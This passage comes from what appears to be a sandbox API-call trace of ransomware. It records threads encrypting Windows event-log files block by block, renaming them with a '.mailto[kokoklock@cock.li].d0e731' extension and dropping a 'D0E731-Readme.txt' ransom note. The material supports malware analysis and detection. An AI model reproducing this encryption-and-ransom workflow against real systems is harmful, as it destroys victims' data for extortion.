lpOverlapped=0x0 | out: lpBuffer=0x347b890*, lpNumberOfBytesWritten=0x74afe98*=0x20, lpOverlapped=0x0) returned 1 [0060.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b840*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x347b840*, lpNumberOfBytesWritten=0x74afea0*=0x8, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x74afeb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x74afeb8*, lpNumberOfBytesWritten=0x74afea0*=0x4, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x74afea0*=0x4, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x74afea0*=0x6c, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x74afea0*=0x20, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x74afea0*=0x4, lpOverlapped=0x0) returned 1 [0060.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b840) returned 1 [0060.840] CloseHandle (hObject=0x5b8) returned 1 [0062.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x33ca4f8 [0062.742] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" [0062.743] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0062.743] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.744] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0062.745] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0062.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433be8 [0062.745] wcscpy (in: _Dest=0x3433be8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.745] wcscat (in: _Dest=0x3433be8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0062.746] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0062.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433be8) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd770) returned 1 [0062.746] RtlExitUserThread (Status=0x1) Thread: id = 82 os_tid = 0xd28 [0060.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0060.858] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0060.858] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x752fc4c | out: lpFileSize=0x752fc4c*=69632) returned 1 [0060.859] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.859] ReadFile (in: hFile=0x5bc, lpBuffer=0x752fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x752fc20*, lpNumberOfBytesRead=0x752fc1c*=0x4, lpOverlapped=0x0) returned 1 [0060.860] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b840 [0060.860] NtQuerySystemTime (in: CurrentTime=0x752fbf8 | out: CurrentTime=0x752fbf8*=132121176187582256) returned 0x0 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xf52deed1 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xf5af4c3b [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x7fde1d9b [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x9a4566d8 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x53a2e42a [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x63666dd4 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x26887a03 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xf6544562 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x24beb48f [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xdb5eff6b [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x298d2cc5 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x53e76c6 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x1ea84f75 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xfb4c128a [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xd7460696 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x5846e6ca [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x38a1dbf7 [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x4d9068ee [0060.860] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x274a4f3c [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xb4c457b4 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x437c9c3f [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xc716354e [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xce2f0f93 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xd4275f59 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xf8107ae2 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xaf354d28 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xdfee4886 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x26db6e6e [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x13f13773 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xb1f6a8a6 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0xbb5521a8 [0060.861] RtlRandom (in: Seed=0x752fc04 | out: Seed=0x752fc04) returned 0x6af7881e [0060.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b8b8 [0060.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0060.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b610 [0060.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0060.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.871] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.871] ReadFile (in: hFile=0x5bc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x752fbd0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x752fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0060.872] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b638 [0060.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b638) returned 1 [0060.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b638 [0060.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b638) returned 1 [0060.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.873] WriteFile (in: hFile=0x5bc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x752fbd0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x752fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0060.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.873] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.873] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x752fc08, lpOverlapped=0x0 | out: lpBuffer=0x347b818*, lpNumberOfBytesWritten=0x752fc08*=0x20, lpOverlapped=0x0) returned 1 [0060.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.874] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x347b610*, lpNumberOfBytesWritten=0x752fc1c*=0x8, lpOverlapped=0x0) returned 1 [0060.874] WriteFile (in: hFile=0x5bc, lpBuffer=0x752fc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x752fc34*, lpNumberOfBytesWritten=0x752fc1c*=0x4, lpOverlapped=0x0) returned 1 [0060.874] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x752fc1c*=0x4, lpOverlapped=0x0) returned 1 [0060.874] WriteFile (in: hFile=0x5bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x752fc1c*=0x6c, lpOverlapped=0x0) returned 1 [0060.874] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x752fc1c*=0x20, lpOverlapped=0x0) returned 1 [0060.874] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x752fc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x752fc1c*=0x4, lpOverlapped=0x0) returned 1 [0060.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b8b8) returned 1 [0060.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b610) returned 1 [0060.874] CloseHandle (hObject=0x5bc) returned 1 [0060.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x341e0b8 [0060.878] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" [0060.878] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0060.878] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.879] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0060.879] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0060.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0060.879] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.879] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.879] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0060.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd870) returned 1 [0060.879] RtlExitUserThread (Status=0x1) Thread: id = 83 os_tid = 0x174 [0060.881] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0060.881] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.881] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0060.881] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x75afc9c | out: lpFileSize=0x75afc9c*=2166784) returned 1 [0060.881] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x210ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.881] ReadFile (in: hFile=0x5bc, lpBuffer=0x75afc70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x75afc70*, lpNumberOfBytesRead=0x75afc6c*=0x4, lpOverlapped=0x0) returned 1 [0060.883] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b8b8 [0060.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b638 [0060.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.883] NtQuerySystemTime (in: CurrentTime=0x75afc48 | out: CurrentTime=0x75afc48*=132121176187738536) returned 0x0 [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x7768caa5 [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x7e350b75 [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xd852823e [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x691900f2 [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x8ed4f55c [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x92fe2a08 [0060.883] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xd39de208 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x75e3fd42 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xfb89391e [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x458f3a81 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x95fab993 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x4ae39160 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xf8bb894c [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x449fa599 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xb1780fe2 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x1a44410a [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xc1c86b2 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xf506fc5e [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x20e5886 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xbff4b17 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xef182de4 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xbe1da86a [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xc907bc37 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x9827ba1f [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xe86e4a40 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x854f85b5 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xd2187ca [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x8935fb0e [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xde52faa1 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0x753df8cb [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xdd592bc4 [0060.884] RtlRandom (in: Seed=0x75afc54 | out: Seed=0x75afc54) returned 0xbaafc7c8 [0060.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0060.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b610 [0060.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0060.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b8b8) returned 1 [0060.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.895] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.895] ReadFile (in: hFile=0x5bc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x75afc08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x75afc08*=0x4096, lpOverlapped=0x0) returned 1 [0060.896] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b8b8 [0060.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b8b8) returned 1 [0060.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b8b8 [0060.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b660 [0060.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b660) returned 1 [0060.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.897] WriteFile (in: hFile=0x5bc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x75afc08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x75afc08*=0x4096, lpOverlapped=0x0) returned 1 [0060.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.897] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x10a6ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.897] ReadFile (in: hFile=0x5bc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x75afc08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x75afc08*=0x4096, lpOverlapped=0x0) returned 1 [0060.899] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x10a6ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.899] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b660 [0060.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b688 [0060.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b688) returned 1 [0060.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.900] WriteFile (in: hFile=0x5bc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x75afc08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x75afc08*=0x4096, lpOverlapped=0x0) returned 1 [0060.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.900] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x20cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.900] ReadFile (in: hFile=0x5bc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x75afc08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x75afc08*=0x4096, lpOverlapped=0x0) returned 1 [0060.902] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x20cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.902] RtlAllocateHeap (HeapHandle=0x33c0000, 